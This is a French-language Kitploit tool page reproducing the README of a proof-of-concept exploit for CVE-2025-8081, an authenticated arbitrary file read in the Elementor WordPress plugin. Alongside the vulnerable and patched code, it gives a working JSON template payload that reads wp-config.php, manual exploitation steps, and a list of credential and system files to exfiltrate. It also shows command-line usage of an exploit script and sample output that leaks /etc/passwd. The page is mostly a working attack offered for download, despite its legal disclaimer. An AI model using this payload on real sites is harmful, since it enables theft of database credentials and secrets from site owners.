Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-8081-Elementor — Preuve de concept d'exploitation pour CVE-2025-8081, une lecture arbitraire de fichiers dans le plugin WordPress Elementor, permettant aux administrateurs authentifiés de lire des fichiers sensibles comme wp-config.php. | Kitploit
Outils/GitHubGitHub/lyesh4ck/cve-2025-8081-elementor
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHublyesh4ck/cve-2025-8081-elementor

CVE-2025-8081-Elementor

Preuve de concept d'exploitation pour CVE-2025-8081, une lecture arbitraire de fichiers dans le plugin WordPress Elementor, permettant aux administrateurs authentifiés de lire des fichiers sensibles comme wp-config.php.

Voir le dépôt
il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-8081 - Vulnérabilité de lecture arbitraire de fichiers dans Elementor

Severity CVSS WordPress Elementor

Une vulnérabilité critique de lecture arbitraire de fichiers dans le plugin WordPress Elementor qui permet à des administrateurs authentifiés de lire n'importe quel fichier accessible par le serveur web, y compris les fichiers de configuration sensibles contenant les identifiants de la base de données.


📋 Présentation de la vulnérabilité

Informations CVE

PropriétéValeur
ID CVECVE-2025-8081
TypeLecture arbitraire de fichiers (CWE-22 : Traversée de chemin)
Score CVSS4.9 (Moyen) - Impact réel : CRITIQUE
Vecteur CVSSAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Versions concernéesElementor ≤ 3.30.2
Version corrigéeElementor ≥ 3.30.3
Date de publication22 juillet 2025
Date de divulgation15 octobre 2025

Conditions d'attaque

  • ✅ Compte administrateur WordPress
  • ✅ Plugin Elementor installé et activé
  • ✅ Accès à la fonctionnalité d'importation de modèles
  • ✅ Widget Image Elementor activé

Impact

  • 🔴 Lecture arbitraire de fichiers : Lire n'importe quel fichier accessible par l'utilisateur du serveur web (www-data)
  • 🔴 Vol d'identifiants : L'accès à wp-config.php révèle les identifiants de la base de données et les clés de sécurité
  • 🔴 Compromission de la base de données : Accès complet à la base de données WordPress à l'aide des identifiants volés

🎯 Détails de la vulnérabilité

Emplacement

La vulnérabilité existe dans un fichier unique à une ligne unique :

root@kitploit:~
elementor/includes/template-library/classes/class-import-images.php
Ligne 115 (v3.28.3)

Code vulnérable (v3.28.3)

root@kitploit:~
if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = Utils::file_get_contents( $attachment['tmp_name'] );  // ❌ NO VALIDATION!
}

Problème : Le paramètre tmp_name n'est PAS validé avec is_uploaded_file(), ce qui permet à un attaquant de spécifier des chemins de fichiers arbitraires.

Code corrigé (v3.30.3)

root@kitploit:~
if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = false;
    // security validation in case the tmp_name has been tampered with
    if ( is_uploaded_file( $attachment['tmp_name'] ) ) {  // ✅ VALIDATION ADDED!
        $file_content = Utils::file_get_contents( $attachment['tmp_name'] );
    }
}

Correctif : Le correctif ajoute la validation is_uploaded_file() pour garantir que tmp_name fait référence à un fichier téléchargé légitime via HTTP POST.


💣 Preuve de concept

Charge utile JSON

root@kitploit:~
{
  "content": [{
    "id": "s1",
    "elType": "section",
    "settings": [],
    "elements": [{
      "id": "c1",
      "elType": "column",
      "settings": {"_column_size": 100},
      "elements": [{
        "id": "w1",
        "elType": "widget",
        "widgetType": "image",
        "settings": {
          "image": {
            "url": "http://x.com/x.jpg",
            "id": 1,
            "tmp_name": "/var/www/html/wp-config.php",
            "name": "leaked_config.txt"
          }
        },
        "elements": []
      }]
    }]
  }],
  "version": "0.4",
  "type": "page"
}

Étapes d'exploitation manuelle

  1. Connectez-vous à WordPress en tant qu'administrateur
  2. Accédez à Elementor → Mes modèles → Importer des modèles
  3. Téléchargez la charge utile JSON ci-dessus (enregistrez-la sous payload.json)
  4. Cliquez sur Importer maintenant
  5. Accédez à Médias → Bibliothèque
  6. Recherchez et téléchargez leaked_config.txt

Résultat : Contenu de wp-config.php avec les identifiants de la base de données exposé !


📊 Fichiers intéressants à exfiltrer

Fichiers critiques

FichierDescriptionImpact
/var/www/html/wp-config.phpConfiguration WordPress🔴 CRITIQUE - Identifiants de la base de données
/proc/self/environVariables d'environnement🔴 CRITIQUE - Clés API, secrets

Fichiers à forte valeur

FichierDescriptionImpact
/etc/passwdUtilisateurs système🟠 ÉLEVÉ - Énumération des utilisateurs
/var/www/html/.htaccessConfiguration du serveur web🟠 ÉLEVÉ - Divulgation de configuration
/var/log/apache2/access.logJournaux Apache🟡 MOYEN - Divulgation d'informations

🛠️ Exploitation automatisée

Démarrage rapide

root@kitploit:~
python3 exploit.py -t https://target.com -u admin -p password123

Options de ligne de commande

root@kitploit:~
Required Arguments:
  -t, --target URL        Target WordPress URL (e.g., https://target.com)
  -u, --user USERNAME     WordPress admin username
  -p, --password PASS     WordPress admin password

Optional Arguments:
  -f, --file PATH         File to read (default: /var/www/html/wp-config.php)
  -o, --output FILE       Output filename (default: auto-generated)
  --insecure, -k          Disable SSL certificate verification
  -v, --verbose           Enable verbose output for debugging
  -h, --help              Show help message

Exemples d'utilisation

root@kitploit:~
# Basic exploitation (reads wp-config.php with default payload)
python3 exploit.py -t http://target.com -u admin -p password123

# Custom target file
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd

# With HTTPS and self-signed certificate
python3 exploit.py -t https://target.com -u admin -p password123 --insecure

# Verbose mode with custom output
python3 exploit.py -t http://target.com -u admin -p password123 \
  -f /etc/passwd -o users.txt -v

# From OrbStack/Docker targeting host machine
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v

Sortie attendue

root@kitploit:~
Kali:~$ python3 exploit.py  -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd

======================================================================
 CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File:   /etc/passwd
======================================================================

[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes

======================================================================
 EXPLOITATION SUCCESSFUL!
======================================================================
File URL:  http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to:  leaked_passwd.txt

--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================

⚖️ Avertissement légal

À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS UNIQUEMENT

Cet outil est fourni uniquement à des fins de recherche en sécurité et de tests d'intrusion. L'utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale.

Il incombe à l'utilisateur final de respecter toutes les lois locales, nationales et fédérales applicables.

  • ✅ Utilisez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test
  • ✅ Pratiques de divulgation responsable
  • ✅ Fins éducatives et de recherche
  • ❌ L'accès non autorisé est illégal et puni par la loi
  • ❌ L'auteur décline toute responsabilité en cas d'utilisation abusive

En utilisant cet outil, vous acceptez de l'utiliser de manière légale et éthique.


Dernière mise à jour : 17 octobre 2025

Télécharger l’outil